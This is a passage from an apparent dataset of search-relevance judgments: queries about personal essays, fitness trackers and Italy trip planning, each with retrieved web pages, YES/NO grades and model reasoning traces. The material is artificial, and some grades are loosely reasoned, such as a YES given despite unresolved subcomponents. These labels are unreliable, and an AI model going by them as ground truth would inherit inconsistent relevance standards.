                "text": "The accompanying workshop is   Workshop:     Write Personal Essays Substack Subscribers Will Pay to Read .   It could be the best yet.    \ud83c\udfa7 Listen to the podcast version:     One writer I was helping grow her Substack asked me if she  had  to write personal essays on here\u2014as if it\u2019s a requirement. One might think so given the number of writers who come on here to write about themselves.\u00a0   But are Substacks that feature personal essays worth subscribing to and paying for? \u00a0   As     writes in \u201cIntuitive Eating Is Not for Everyone,\u201d   Personal essays are a tough sell on Substack.  Although shelling out $6 (or more) a month for journalism that brings them fresh reporting or for finance articles that analyze the market for them makes sense, paying that much to read our thoughts, bursts of creative expression, and Facebook-esque stories of our daily lives doesn\u2019t.   So how do we write (often confessional) personal essays in such a way that they     attract paid subscribers and     lead to subscriber engagement and subscriber retention?    And all without losing the artistry and intimacy that can make the personal essay one of the most exquisite genres in literature and us feel free and fulfilled as writers?\u00a0  The answer isn\u2019t to sit down at the computer and   just write  . That won\u2019t entice subscribers or help you grow as a writer.   Yes, people are topping the Substack leaderboard who do just that, but most of them attract subscribers because they have one or more of these:    a five- or six-figure social media following,   a bestselling book(s),   literary awards galore,\u00a0   the benefit of being a media darling.    What they\u2019re doing is  more of a   Hey, my best stuff is in my books and here you can get whatever I\u2019m thinking about and even a few typos.  That isn\u2019t to dismiss these writers. You can get a gazillion subscribers and if you aren\u2019t producing what subscribers want, you won\u2019t keep them.\u00a0 But many Substack writers don\u2019t have those advantages. In marketing parlance, most writers are enticing \u201ccold leads,\u201d i.e",
                "model_trace": "Query Decomposition:\n1. {Personal essay or Substack post}: The document discusses how to write personal essays on Substack -> ([1], SATISFIED)\n2. {Written by someone who has been a lifelong fan of a particular book series or film franchise}: The document does not provide an example of a specific personal essay or Substack post written by a lifelong fan of a book series or film franchise -> ([0], UNSURE)\n3. {Emotional connection to the characters and story}: The document does not contain information about an emotional connection to characters and story -> ([0], UNSURE)\n4. {Impact on their life and why it has remained meaningful}: The document does not describe the impact of a book series or film franchise on someone's life and its lasting meaning -> ([0], UNSURE)\n\nAssessment: The relevant subcomponent is {Personal essay or Substack post}, which is satisfied. However, the document does not contain specific examples or content that directly addresses the user's interest in a personal essay about a lifelong fan's emotional connection to a book series or film franchise.\n\nNO."
            },
            {
                "grade": "NO",
                "title": "A Guide to Interiority In the Personal Essay and Memoir",
                "url": "https://querent.substack.com/p/i-want-more-of-you-in-here-a-guide",
                "published_date": null,
                "text": "A photo of me at the age my students are now, trying to do what they are doing now.   I have been teaching my writing students in my essay class to write about their feelings. This is a challenge for every writer, including me. I write in part to discover what I feel, and have traditionally done so since I was, well, the age of my students. I recently asked them to add a sixth question to the five questions\u2014the five questions being  Who, What, When, Where,  and  How , and the sixth question I suggest is  How Do I Feel About This?   Rebecca Makkai  recently ran an excellent series in her newsletter in which she described some approaches to the at times maddening note so many people offer when they say they want \u201cmore interiority\u201d in a fiction draft. I\u2019ve found it helpful for the way it articulates more of what people are asking for when they say they want \u2018more interiority.\u2019 The  first  of the three in the series breaks down some common weak moments in drafts, complete with her own sample text offered for examples.  In the second , she wrote about what most writers will do in writing fiction, and then she pushes for what can take the text further. And in  section 3 , she shows people how to put this all together.   And as I read that, I was reminded of how often I felt that way while reading drafts of essays and memoirs, and pretty quickly adapted her set of terms into this guide here, taking her points and illustrating them with examples from essays by Brian Doyle, June Jordan, Anne Carson, Louise Erdrich, Joan Didion and Aube Rey Lescure\u2014personal essays I\u2019ve been teaching from this term. I\u2019m not quoting any writing I find objectionable, I\u2019ll add. I\u2019m just trying to make these ideas legible for the essay and memoir as I feel interiority goes missing not just in our fiction but in our personal writing as well. So then.  What Most Writers Do:   Reportage\u00a0  Simple reportage has us offering from our point of view an account of what happened in the physical environment around us at the time we describe.  My first day ",
                "model_trace": "Query Decomposition:\n1. {personal essay or Substack post}: This document is a Substack post -> ([1], SATISFIED)\n2. {written by someone who has been a lifelong fan of a particular book series or film franchise}: The document does not indicate that it is written by someone who is a lifelong fan of a particular book series or film franchise -> ([0], UNSATISFIED)\n3. {emotional connection to the characters and story}: The document does not mention any emotional connection to characters and story from a book series or film franchise -> ([0], UNSATISFIED)\n4. {impact on their life}: The document does not discuss how a book series or film franchise has impacted the author's life -> ([0], UNSATISFIED)\n5. {meaning over the years as they've grown older}: The document does not mention the long-term meaning of a book series or film franchise to the author -> ([0], UNSATISFIED)\n\nAssessment: The relevant subcomponent is {personal essay or Substack post}, which is satisfied. However, the document does not meet the other subcomponents that are crucial to the query. NO."
            }
        ]
    },
    {
        "query": "I need a consumer good that can help me track my fitness and health metrics over time. I want to be able to see trends in my sleep, activity, and weight data. The product should sync with my smartphone and have a user-friendly app.",
        "grid_pos": [
            2,
            3
        ],
        "grid_pos_str": "Search Query Format: Context Query, Search Result Type: Consumer Good/Consumer Service",
        "reasoning_trace": [
            "These queries cover a range of consumer services and goods that require significant context and external knowledge to fully address, including:\n\n1. Planning an international trip to Italy involving historical sites, cooking classes, and natural landscapes. This would require knowledge of Italy's top tourist destinations, available travel packages and services, and local activities.\n\n2. Tracking personal health and fitness metrics over time using a connected device and app. This would require familiarity with the features and capabilities of fitness tracking products.\n\n3. Learning a new language like Spanish through interactive lessons, conversation practice, and personalized feedback. This would need an understanding of language learning platforms and their pedagogical approaches.\n\n4. Staying organized and productive through task management, scheduling, and collaboration tools. This would benefit from knowledge of popular productivity apps and their key features.\n\n5. Finding and booking unique vacation rentals and experiences that immerse the user in local culture. This would draw on expertise in the vacation rental and experiential travel industries.\n\nOverall, these queries are specific, nuanced, and require a broad understanding of consumer services and products to address effectively."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "Oura Ring: Accurate Health Information Accessible to Everyone",
                "url": "https://ouraring.com/",
                "published_date": null,
                "text": "header_skip_to_content",
                "model_trace": "Query Decomposition:\n1. {consumer good that can help track fitness and health metrics over time}: The document is about the Oura Ring, which is a consumer good designed to track health metrics -> ([1], SATISFIED)\n2. {ability to see trends in sleep, activity, and weight data}: The content does not specify whether the Oura Ring tracks sleep, activity, and weight data -> ([0], UNSURE)\n3. {sync with smartphone}: The document does not mention whether the Oura Ring syncs with a smartphone -> ([0], UNSURE)\n4. {user-friendly app}: The document does not mention whether the Oura Ring has a user-friendly app -> ([0], UNSURE)\n\nAssessment: The document only clearly satisfies the subcomponent about being a consumer good that tracks health metrics. Since the other subcomponents cannot be evaluated from the given information, the document is not helpful for the user's query. NO."
            },
            {
                "grade": "NO",
                "title": "FitMe",
                "url": "https://www.fitmelabs.com/",
                "published_date": "2000-01-01",
                "text": "",
                "model_trace": "Query Decomposition:\n1. {consumer good that can help track fitness and health metrics over time}: The document title \"FitMe\" suggests a product but does not provide specific information about tracking fitness and health metrics -> ([0], UNSURE)\n2. {see trends in sleep, activity, and weight data}: The document does not provide any information about tracking sleep, activity, and weight data -> ([0], UNSURE)\n3. {sync with smartphone}: The document does not provide any information about syncing with a smartphone -> ([0], UNSURE)\n4. {user-friendly app}: The document does not provide any information about having a user-friendly app -> ([0], UNSURE)\n\nAssessment: The document does not provide enough information to evaluate any of the subcomponents of the query. NO."
            },
            {
                "grade": "NO",
                "title": "FitTrack\u2122 | Smart Body Fat Scales, Watches & Fitness Trackers",
                "url": "https://getfittrack.com/",
                "published_date": "2022-09-06",
                "text": "Meet The World's Most Accurate Smart Scale Monitor your body & health with personalized insights & coaching feedback.\n\nFree Shipping & Returns\n\nRecommended by Doctors\n\nProven Accuracy\n\nMonitor your body & health with personalized insights & coaching feedback.\n\nFree Shipping & Returns\n\nRecommended by Doctors\n\nProven Accuracy\n\nFitTrack Dara Gen 2.0\n\n89,560 reviews\n\n29%\n discount already applied\n\nFree Shipping | Free App Included\n\nJoin Over 1.2 million Happy Users\n80% of people fail to maintain their health goals. FitTrack scales are a simple and effective solution to stay motivated. Measure, track, and trend your body vitals over time with 17 Health Measurements at the comfort of your fingertips.\n\nDara Smart Scale - Back in stock!\n\n$139.95\n\n$99.95\n\nYou save ($40.00)\n\nAdd to cart\n\nOrder Today and get it within 3 - 5 days\n\nMake Lasting Changes To Your Health\n\nMake Lasting Changes To Your Health\n Lose The Right Weight Stop guessing! Understand how your diet and habits affect different areas of your body and health. That\u2019s how you break plateaus and keep the weight off for good. \n Reverse Chronic Illness Connect your health data all in one app and track changes in your health over time with an easy to understand health score. Get insights into potential health risks and advice on managing chronic illness.\n Performing At Your Best With personalized insights and coaching, you can quickly identify any issue with their metabolic health and address it before it leads to a decrease in performance\n Supercharge Motivation Most goals fail because they're hard to stick to. With FitTrack you can keep yourself accountable by setting goals and track your progress over time.\n\nDon't just take our word for it: Hear What The Experts Have to Say\n\n5.0\n\"To achieve the level that is required to perform in the olympics, understanding how to optimize my health is key and FitTrack has been very helpful with that.\" Olympic Gold Medalist 5.0\n\"Being able to sync and see all my health data from my Dara 2.0 scale has been such a game changer.\" Bri",
                "model_trace": "Query Decomposition:\n1. {consumer good that can help track fitness and health metrics over time}: The document mentions FitTrack products that can track body vitals over time -> ([1], SATISFIED)\n2. {track sleep, activity, and weight data}: The document specifically mentions tracking body vitals and weight, but does not mention sleep and activity tracking -> ([2], UNSURE)\n3. {sync with smartphone}: The document states that the product includes a free app, implying smartphone sync capability -> ([2], SATISFIED)\n4. {user-friendly app}: The document mentions an easy-to-understand health score and personalized insights, suggesting a user-friendly app -> ([2], SATISFIED)\n\nAssessment: The document satisfies the subcomponents related to tracking fitness and health metrics over time, syncing with a smartphone, and having a user-friendly app. However, it is unclear whether it tracks sleep and activity data. Given the importance of tracking sleep and activity in the query, the document does not fully meet the user's needs. NO."
            },
            {
                "grade": "YES",
                "title": "FitnessSyncer joins your health and fitness clouds into one ...",
                "url": "https://www.fitnesssyncer.com/",
                "published_date": null,
                "text": "Connect Your Apps Use your favorite apps, trackers, and devices for each activity. FitnessSyncer unifies the steps, distance, duration, calories burned, weight, blood pressure, glucose levels, nutrition, oxygen, sleep, and temperature data \u2014 all in one place.   Visualize Your Data Use the FitnessSyncer Dashboard and FitnessSyncer Stream to view and analyze your health and fitness data. See your stats over time, gain insight, and stay motivated.    Synchronize Your Data Seamlessly move your health and fitness data between apps, trackers, and devices so that you can gain insight into your data in different ways.     Create a Unified Health and Fitness Hub! FitnessSyncer unifies your data in one convenient place to make informed decisions toward better results. Analyze your data in our customizable dashboard, stream, exportable calendar, daily analyzer, and more! You\u2019re already doing the hard work. We make it easy to see the complete picture so you can achieve your health and fitness goals.        \u00a0 Dashboard     See your data on graphs and KPIs. Slice and dice your data any way you want. Pro users can create unlimited, customizable dashboards.          \u00a0 Stream     See a list of your data and dive in deep for item analytics, like visualizing split times or last-mile stats for training purposes, heart rate zones, sleep graphs, and more.          \u00a0 Calendar     Compare months to spot trends or export to your own calendar.          \u00a0 Daily Analyzer     Visualize the patterns of your day with a minute-by-minute view of all the data you track within FitnessSyncer. Daily Analyzer offers an interesting perspective and insight into your daily trends.            \u00a0 Share and Print     Share your activities and dashboards securely or Print summaries so that you can share your progress with friends, family, caretakers, and doctors.          \u00a0 Your Best     Your Best examines all your data stored in FitnessSyncer and provides you with insights and highlights (and lowlights), so you can celebrate your accomplishments or adjust y",
                "model_trace": "Query Decomposition:\n1. {consumer good that can help track fitness and health metrics over time}: The document describes FitnessSyncer, which tracks various health and fitness metrics over time -> ([1], SATISFIED)\n2. {track sleep, activity, and weight data}: The document mentions tracking sleep, activity (steps, distance, duration, calories burned), and weight data -> ([1], SATISFIED)\n3. {sync with smartphone}: The document implies synchronization with apps and devices, which likely includes smartphones -> ([2], SATISFIED)\n4. {user-friendly app}: The document describes a customizable dashboard, stream, calendar, and daily analyzer, suggesting a user-friendly interface -> ([2], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied. YES"
            },
            {
                "grade": "YES",
                "title": "Fitness and Freshness to factor sleep and weight.",
                "url": "https://communityhub.strava.com/t5/ideas/fitness-and-freshness-to-factor-sleep-and-weight/idi-p/408",
                "published_date": null,
                "text": "Would love to have Strava use sleep and weight data to factor into Fitness and Freshness. The main reason i pay for a Strava sub compared to the excellent free product is to record all my exercise in the one place and to track my fitness over time though Fitness and Freshness.\u00a0 I believe the other two metrics to accurately calculate a fitness and freshness level is sleep, and less so weight. The market appears to also be saying the same if you look at the take up of other health and fitness trackers such as Whoop, Samsung, Apple, Fitbit etc I'd love it if Strava would:  Take sleep and weight data and track it over time on a chart along with the Fitness and Freshness score. Since there are no good standards or formats for collecting and sharing such data this data could be manually\u00a0input or imported via CSV if required. Perhaps Strava could take a lead here and set a standard that can be easily imported via CSV collecting more subscribers as a do-it-all platform. Manual import would allow users to massage data from other services or devices without waiting for an all-encompassing API which is unlikely ever to eventuate due the big guys not wanting share their customers or make it easier to move between devices e.g. Garmin, Apple, Samsung, Fitbit etc.\u00a0 Include the ability to add current weight as a minimum and additionally other weight related metrics available from devices such as Samsung and Apple watches e.g. Total Body Water, Muscle Mass, Bone Mass. Include the ability to add current total sleep per day in minutes. Additionally allow the storage of other sleep metric such as minutes of deep, REM, light and awake during this period. While each sleep tracking vendor has slightly different values the point isn't to compare between vendors its only so users can compare their own values over time. Use the data to create a \"v2\" Fitness and Freshness level keeping existing Fitness and Freshness calculations and data not adding sleep and weight data (or for periods where data is missing). Show the new values on any act",
                "model_trace": "Query Decomposition:\n1. {consumer good that can help track fitness and health metrics over time}: The document mentions Strava and other health and fitness trackers like Whoop, Samsung, Apple, and Fitbit, which are consumer goods that track fitness and health metrics -> ([1], SATISFIED)\n2. {track sleep, activity, and weight data}: The document discusses the importance of tracking sleep and weight data, and mentions tracking all exercise in one place, which implies activity tracking -> ([1], SATISFIED)\n3. {sync with smartphone}: The document does not explicitly mention syncing with a smartphone, but it discusses integrating data from various devices, which implies some level of connectivity -> ([2], SATISFIED)\n4. {user-friendly app}: The document does not provide information about the user-friendliness of the app -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {consumer good that can help track fitness and health metrics over time}, {track sleep, activity, and weight data}, and {sync with smartphone}. All these subcomponents are satisfied. YES."
            },
            {
                "grade": "NO",
                "title": "A simple way to connect the health and fitness apps on ...",
                "url": "https://health.google/health-connect-android/",
                "published_date": null,
                "text": "Health Connect by Android\n \n \n \n \n Share data between your favorite apps and devices\n \n \nGet richer experiences and more insights from your favorite apps. Whether you're focused on activity or sleep, nutrition or vitals, sharing data between your apps can help you get a holistic view of your health and fitness and understand how your lifestyle behaviors impact it.\n \n \n \n \n  \n \n \n \n \n \n \n \n  A central set of controls to manage health and fitness data\n  \nA central dashboard in your mobile phone settings shows you who you\u00e2\u0080\u0099re sharing your data with and what data you\u00e2\u0080\u0099re sharing. You can shut off access or delete data you don\u00e2\u0080\u0099t want on your device at any time. You also have the option to prioritize one data source over another when using multiple apps.\n \n  \n \n \n \n \n \n \n \n  Privacy and security - at the heart of health connect\n  \nHealth Connect gives you a simple way to store and connect the data between your health and fitness apps, without compromising on privacy. You decide who you want to share your data with and what types of data you want to share.\n \n \n \n \n \n \n \n Enabling developers to create richer experiences For Android users\n  \n \n \nWith user permission, developers can securely access data from a range of apps and devices through Health Connect, using a single set of APIs and a standardized data schema.\nDevelopers can integrate with Health Connect today.\n \n \n \n \n \n \n \n  \n \n \n \n \n \n \n \n  Apps that integrate with Health Connect\n  \nLeading Health and Fitness Apps have adopted Health Connect so that you can share your data between them. See the full list of compatible apps here.\n \n  \n \n \n \n  What people are saying about Android Health Connect\n  \n \n \n \n \n \n \n \n \n \n\u00e2\u0080\u009cI want my fitness and health apps to be able to communicate with each other because the body is not fractionalized. It\u00e2\u0080\u0099s a whole unit.\u00e2\u0080\u009d\n \n \n \n \n \n\u00e2\u0080\u009cI would love for my apps to be able to talk back and forth to each other, to continue to build the best plan for me and to recommend the best solutions for me.\u00e2\u0080\u009d\n \n \n \n \n \n\u00e2\u0080\u009cI feel like period, ",
                "model_trace": "Query Decomposition:\n1. {consumer good that can help track fitness and health metrics over time}: This document discusses Health Connect, which is a platform for sharing data between health and fitness apps, rather than a specific consumer good -> ([1], UNSATISFIED)\n2. {track sleep, activity, and weight data}: The document mentions tracking activity and sleep but does not explicitly mention weight data -> ([2], UNSURE)\n3. {sync with smartphone}: Health Connect is a feature for Android smartphones, so it syncs with smartphones -> ([1], SATISFIED)\n4. {user-friendly app}: The document talks about a central dashboard and easy management of data sharing, which implies a user-friendly interface -> ([2], SATISFIED)\n\nAssessment: The document does not satisfy the primary subcomponent {consumer good that can help track fitness and health metrics over time} as it discusses a platform rather than a specific product. Therefore, despite satisfying some other subcomponents, the document is not helpful for the user's query. NO."
            }
        ]
    },
    {
        "query": "I'm looking for a consumer service that can help me plan an international trip to Italy. I want to visit historical sites, take a cooking class, and see some of the natural landscapes. The service should be able to handle all the logistics like flights, accommodations, and activity bookings.",
        "grid_pos": [
            2,
            3
        ],
        "grid_pos_str": "Search Query Format: Context Query, Search Result Type: Consumer Good/Consumer Service",
        "reasoning_trace": [
            "These queries cover a range of consumer services and goods that require significant context and external knowledge to fully address, including:\n\n1. Planning an international trip to Italy involving historical sites, cooking classes, and natural landscapes. This would require knowledge of Italy's top tourist destinations, available travel packages and services, and local activities.\n\n2. Tracking personal health and fitness metrics over time using a connected device and app. This would require familiarity with the features and capabilities of fitness tracking products.\n\n3. Learning a new language like Spanish through interactive lessons, conversation practice, and personalized feedback. This would need an understanding of language learning platforms and their pedagogical approaches.\n\n4. Staying organized and productive through task management, scheduling, and collaboration tools. This would benefit from knowledge of popular productivity apps and their key features.\n\n5. Finding and booking unique vacation rentals and experiences that immerse the user in local culture. This would draw on expertise in the vacation rental and experiential travel industries.\n\nOverall, these queries are specific, nuanced, and require a broad understanding of consumer services and products to address effectively."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "in Italy travel storytelling.",
                "url": "https://www.itravelinitaly.it/",
                "published_date": "2021-12-30",
                "text": "This website gives you all the information about on line booking on\n\nItalian destination\n\noffers services from\n\nItaly.\n\nIDEAL STAYS\n City Breaks, Last Minute Deals, Package Holiday, Hotels, Hotel\n Deals, All Inclusive, Holidays, Family Holidays,\n Accommodation\n\nYou can book Holiday\n Packages\n ~\n Deals\n ~\n Hotels\n ~\n Homes\n ~\n Letting\n ~\n\nFROM TO\n Car Hire, Flight, Hotels, Flight + Hotel, Flight Deals,Trasfers,\n Taxi trasfer\n\nYou can book Trasports\n Flights\n ~\nCheap flights with cashback\n ~\n Trains & Bus\n ~\n Car Rental\n ~\n Trasfers\n ~\n\nATTRACTIONS\n Online ticketing platform for museums, shows, and attractions in\n the most popular tourist destinations, platform used for booking\n tours, excursions, and other travel activities, most exciting\n tickets, tours, and activities, culinary experiences.\n\nYou can book Attractions\n Excursions\n ~\n Tours and activities\n ~\n Culinary Experiences\n ~\n Events\n ~\n\nSAVE UP\n Flash sale, voucher, discount promo, discounted deal, the most\n economical rates, Flights, Hotels and Vacation Coupons, flight\n tickets, hotels, and vacation packages, Tickets Events and\n concerts.\n\nYou can best\n VACATION DEALS .\n\nITALY TRAVEL GUIDE\n Italy Travel Guide: The Ultimate Traveler's Italy Guidebook,\n History, Tour Book and Everything Italian.\n\nYou can best\n TRAVELER'S ITALY GUIDEBOOK .\n\nON-LINE ASSISTANCE\n\non-line assistance through a wide range of technical support\n services, studied to use all potentials of modern information\n technologies\n\nYou can best\n ON-LINE ASSISTANCE.",
                "model_trace": "Query Decomposition:\n1. [consumer service that can help plan an international trip to Italy]: The document mentions various travel services related to Italy, including booking flights, accommodations, and activities -> ([1], SATISFIED)\n2. [visit historical sites]: The document mentions an online ticketing platform for museums and attractions, which likely includes historical sites -> ([2], SATISFIED)\n3. [take a cooking class]: The document mentions culinary experiences, which likely include cooking classes -> ([2], SATISFIED)\n4. [see some of the natural landscapes]: The document mentions excursions and tours, which likely include natural landscapes -> ([2], SATISFIED)\n5. [handle all the logistics like flights, accommodations, and activity bookings]: The document provides information on booking flights, accommodations, and various activities -> ([1], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied. The document provides comprehensive information about planning a trip to Italy, including historical sites, cooking classes, natural landscapes, and handling logistics. YES"
            },
            {
                "grade": "YES",
                "title": "Arezza Logistics Solutions - italy",
                "url": "https://www.arezza.net/italy",
                "published_date": "2014-01-01",
                "text": "Places to Visit - How to Get There - What to Do Arezza provides you with a seamless customer experience before, during and after your travel purchase. In order to serve you better, please review the itinerary options listed below, then contact us with any questions along with preferences and requirements. Also, before booking please review our terms of service and have available your travel dates, destinations and number of persons traveling by age. The day long tours include: Accommodations with breakfast, Transport from/to your hotel and the events you have selected, Sightseeing events and entry fees, Local guide and concierge services. If you are planning multiple day, locations and activities during your trip, please be sure to contact us before booking your tours so that we can assist you with your travel plans. Transport Services Tell us About Your Next Trip email - t ravel@arezza.net whatsapp skype - arezza1",
                "model_trace": "Query Decomposition:\n1. {consumer service for planning an international trip to Italy}: The document mentions that Arezza provides travel planning services for Italy -> ([1], SATISFIED)\n2. {visit historical sites}: The document mentions sightseeing events, which likely include historical sites -> ([2], SATISFIED)\n3. {take a cooking class}: The document does not specifically mention cooking classes -> ([0], UNSURE)\n4. {see some of the natural landscapes}: The document mentions sightseeing events, which could include natural landscapes -> ([2], SATISFIED)\n5. {handle logistics like flights, accommodations, and activity bookings}: The document mentions accommodations, transport, and event bookings but does not specifically mention flights -> ([2], SATISFIED)\n\nAssessment: The document satisfies all relevant subcomponents that can be evaluated based on the provided information. YES."
            },
            {
                "grade": "YES",
                "title": "Italy Trip Planner \u2022 Plan your Italy vacation itinerary \u2022 Klarna Trips",
                "url": "https://trips.klarna.com/en/ddp/italy-trip-planner/",
                "published_date": "2023-01-01",
                "text": "How to Plan a Trip to ItalyItaly is a land of high fashion, fine art, exquisite architecture, luxury sports cars, outstanding cuisine--and an insatiable taste for \"la dolce vita\". It's also home to the greatest number of World Heritage Sites in the world, making it an ideal place for your next holiday. The country boasts a varied landscape of mountain ranges, alpine lakes, and coastal towns, so it's no wonder travelers often refer to it as the \"bel paese\" (beautiful country). With so many places to visit in Italy, tourists often have a difficult time planning their itinerary. The smaller villages each feature their own distinct character and blend of architecture, art, and cuisine. The quaint countryside boasts countless archeological sites dating back to Roman times and beyond. On the other side of things, Italy's cities and seaside resorts are cosmopolitan powerhouses offering museums, galleries, restaurants, shops, open-air markets, and pedestrian-friendly historical areas.Places to Visit in Italy Regions of Italy Tuscany: The birthplace of the Italian Renaissance, Tuscany boasts many unforgettable landscapes and offers a lengthy list of attractions that includes world-class museums, art galleries, and ancient sites. Sicily: One of the most popular Italy vacation destinations, Sicily represents the largest island in the Mediterranean Sea, luring pleasure-seekers with its ruggedly attractive landscapes and astoundingly diverse cuisine. Campania: Home of pizza and spaghetti, Campania features a mild climate and a picturesque coastline marked with secluded bays, tranquil coves, and dramatic cliffs offering sweeping views of the Tyrrhenian Sea. Veneto: An independent republic until the end of the 18th century, Veneto remains the beating heart of Italy tourism, drawing nearly 70 million annual visitors with its World Heritage-listed Palladian villas, seaside resorts, vineyards, lakes, beaches, baths, parks, and mountain ranges. Lazio: Located in the middle of Italy's boot-shaped peninsula, Lazio encompasses a lush ",
                "model_trace": "Query Decomposition:\n1. {consumer service that can help plan an international trip to Italy}: The document is from Klarna Trips, which appears to be a trip planning service -> ([1], SATISFIED)\n2. {visit historical sites}: The document mentions Italy's World Heritage Sites, ancient sites, and historical areas -> ([1], SATISFIED)\n3. {take a cooking class}: The document does not mention cooking classes -> ([0], UNSURE)\n4. {see some of the natural landscapes}: The document mentions varied landscapes, mountain ranges, alpine lakes, and coastal towns -> ([1], SATISFIED)\n5. {handle all logistics like flights, accommodations, and activity bookings}: The document does not explicitly mention handling logistics like flights and accommodations -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {consumer service that can help plan an international trip to Italy}, {visit historical sites}, and {see some of the natural landscapes}. All these subcomponents are satisfied by the document. YES."
            },
            {
                "grade": "YES",
                "title": "Trip Planning -",
                "url": "https://www.unlockitaly.com/trip-planning/",
                "published_date": null,
                "text": "You\u2019re coming to Italy but you don\u2019t know where to start? Or perhaps you have a plan and want the input of a local and suggestions for unique discoveries? You\u2019re not alone! Italy is made up of twenty regions that all have their unique character, style, food and dialect. And even if you know you want to see some of the big cities like Rome, Florence &amp; Venice, you could spend a lifetime and never see it all. So here\u2019s where I (Lauren) come in.\n \nI moved to Italy in 2010 and have been working in the tour industry since 2013. I\u2019ve arranged hundreds of tours for different types of companies (private tours, customised tours, group tours, food tours, Segway tours, you name it) and I\u2019ve worked as a professional tour guide in Rome, Florence &amp; Tuscany. I\u2019ve also written about travel in Italy for Romeing Magazine, Italian Insider, The Italy Edit, The Florentine and more.\nMaybe you\u2019ve never been to Italy before and you want to make the most of your first trip or you have been many times in the past and want to see something new. I want to work with you to put together the best experience for you and your group!\n30 minute free consultation\n ***Available in the off season November-March. The rest of the year, you can choose one of three trip planning options below.*** \nSet up a free 30 minute travel consultation with me, no strings attached. Keep in mind that during high season availability for a call is limited because I\u2019m working as a tour guide in Florence &amp; Tuscany, but send me a message and we can work out a time that works!\nThree Trip planning options to fit your needs\nRates below are calculated for groups up to 6 people. There will be an additional charge for larger groups.\n \nTravel Planning Level 1: 40 minute Consultation Call &amp; Ideas (\u20ac60)\nFill out a short questionnaire about your travel needs, wish lists, and who is in your group\nOne 1 hour scheduled phone call to discuss ideas based on your interests and group dynamic.\nSuggestions can include but are not limited to: how to get around Italy once you a",
                "model_trace": "Query Decomposition:\n1. {consumer service that can help plan an international trip to Italy}: The document describes a trip planning service specifically for Italy -> ([1], SATISFIED)\n2. {visit historical sites}: The document mentions arranging tours in Rome, Florence, and Tuscany, which are known for their historical sites -> ([2], SATISFIED)\n3. {take a cooking class}: The document does not explicitly mention cooking classes -> ([0], UNSURE)\n4. {see some of the natural landscapes}: The document mentions tours in Tuscany, known for its natural landscapes -> ([2], SATISFIED)\n5. {handle all logistics like flights, accommodations, and activity bookings}: The document mentions travel planning and consultation but does not explicitly state handling flights and accommodations -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {consumer service that can help plan an international trip to Italy}, {visit historical sites}, and {see some of the natural landscapes}. All these subcomponents are satisfied. YES."
            },
            {
                "grade": "NO",
                "title": "travel agent or plan myself? - Rick Steves Travel Forum",
                "url": "https://community.ricksteves.com/travel-forum/italy/travel-agent-or-plan-myself",
                "published_date": null,
                "text": "Planning a 10 day Nov trip to Northern Italy for 40th anniversary and not a seasoned traveler.  Should I use a travel agent or is it better to try to do it myself?  I am internet smart but overwhelmed by the task of choosing hotels and transportation options. \n \nPosted by\n Paul \n  Eastern Iowa, USA\n \n7673 posts\nFirst ask what a travel agent would be able to do?  They make money of selling products, like a tour.  If that is your interest, and while I have never been on one, look at the Rick Steves tours found elsewhere on this site:  https://www.ricksteves.com/tours/italy and deal with them direct.\nIf you want your own itinerary, most of the travel agents out there just will not be able to help.  You may find a travel planner, ideally one well versed in Italy, that may plan for you, for an hourly fee.  Travel agents make little to nothing off booking you an air ticket, hotels, or suggesting restaurant and arranging entry to sights.\nBut, you can do it yourself.  Pick up \"Rick Steves Europe Through the Backdoor\" at the library, bookstore, or Kindle, it is a great \"how-to\" of planning and travel.  This forum is a great resource for questions, most are helpful, a few impatient with new posters, but do not let that scare you away.\nCome up with a few cities you are interested in.  I will start by saying, in 10 days, choose three to start, with one being a smaller town.  When you have an idea of where you want to go, come back.  If you are talking November 2023, you might want to get on it.    November will be a good time, still some decent weather, crowds have declined, easier for a first time than in June through August.\n \nHappy 40th! \nWhere in northern Italy are you going? What are your interests? Have you traveled to Europe before? Do you want to pack as much in as possible, or take it slow and easy? Are you moving around or staying in one place?\nThese might be some questions to ask yourself. If you have a plan for what you want to see, and how much time you want to spend, you will find planning it yourself, can be f",
                "model_trace": "Query Decomposition:\n1. {consumer service that can help plan an international trip to Italy}: The document discusses the option of using a travel agent or planning the trip oneself, but it does not offer a specific consumer service -> ([1], UNSATISFIED)\n2. {visit historical sites}: The document does not specifically mention historical sites -> ([0], UNSURE)\n3. {take a cooking class}: The document does not mention cooking classes -> ([0], UNSURE)\n4. {see some of the natural landscapes}: The document does not mention natural landscapes -> ([0], UNSURE)\n5. {handle all the logistics like flights, accommodations, and activity bookings}: The document mentions that travel agents might not help much with booking flights, hotels, or activities and suggests planning on your own -> ([1], UNSATISFIED)\n\nAssessment: The relevant subcomponents are {consumer service that can help plan an international trip to Italy} and {handle all the logistics like flights, accommodations, and activity bookings}. Both are UNSATISFIED. Therefore, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "YES",
                "title": "Italy Cooking & Heritage Trips",
                "url": "https://www.dorinaskitchen.com/italy-trips",
                "published_date": null,
                "text": "Dates are set for 2024     \u00a0      to Roseto Valfortore and we are working on some new towns and trip themes for the future!! \u00a0     Dates are listed below.       (more m     ay be added if nee     ded)    \n     \u200b     \n  Please NOTE\u00a0  Once you decide you are even slightly interested... you must fill out a form and we will set up a phone call.(or you can just call me directly)\u00a0 That's how I do it.\u00a0 These are VERY personal trips near and dear to my heart. I don't just put it out there on the internet and wait for people to just show up.\u00a0 We make friends first!\u00a0 It's the Italian way! \n That's why prices are not here on my site.\u00a0 But rest assured it's the b est deal ever! \n Thank you for understanding.\u00a0 \u00a0 \n Love, Dorina         Cooking and travel to Italy\u2026 It doesn\u2019t get any better than that! \u00a0Let\u2019s Cook\u2026 Let\u2019s Eat\u2026 and let\u2019s learn how to live Italian style in Roseto Valfortore, Italy.\u00a0 Come take a trip to my small southern Italian village. Come Cook and learn why the \u201cRoseto Effect\u201d is sought the world over and fully evident in this town!      EACH (ground only)TRIP INCLUDES: \n  (some things change by season... please ask about this!)  \n  \u200b  \n  10 days in a small village in\u00a0Southern\u00a0Italy  \n  All transportation- to and from the Naples Airport and everything in between.  \n  Lodging \u200bin nice modern B&amp;B's in the village which includes breakfast  \n  Welcome dinner\u00a0  \n  4-5 Cooking lessons with Dorina, Chef Giuseppe and Mamma's of town!  \n A 